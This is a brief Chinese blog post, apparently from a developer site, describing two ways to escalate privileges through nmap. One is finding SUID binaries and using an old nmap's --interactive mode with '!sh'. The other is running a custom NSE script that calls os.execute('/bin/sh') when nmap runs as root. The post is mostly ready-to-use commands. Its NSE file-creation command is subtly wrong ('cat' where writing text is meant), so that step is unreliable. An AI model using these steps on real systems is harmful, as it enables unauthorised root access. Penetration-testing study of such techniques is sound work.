第一个：
就是低版本可以用那个交互式
find / -perm -u=s -type f 2>/dev/null
查询可以用得suid
nmap老版本支持“interactive.”选项，用户能够通过该选项执行shell命令
/usr/local/bin/nmap --interactive
nmap --interactive即可得到交互式shell
nmap>
之后输入！sh
才可以
要求：
nmap有s标志位
nmap版本足够老
第二个：
nmap以root运行
cat os.execute("/bin/sh") > nse_root.nse
#nse是nmap的插件扩展名
nmap --script=/home/jens/nse_root.nse
欢迎补充，感谢
nmap提权几种方式
最新推荐文章于 2025-09-09 16:34:47 发布
本文介绍了如何使用nmap的老版本通过`--interactive`选项获取交互式shell，以及如何查找具有suid权限的命令。首先，执行`nmap --interactive`进入交互模式，然后输入`!sh`启动shell。同时，展示了如何查找系统中具有s标志位的nmap，这要求nmap版本较旧。此外，还提到了以root权限运行nmap的场景，通过编写nse脚本实现。
扫一扫
2250
到【灌水乐园】发言
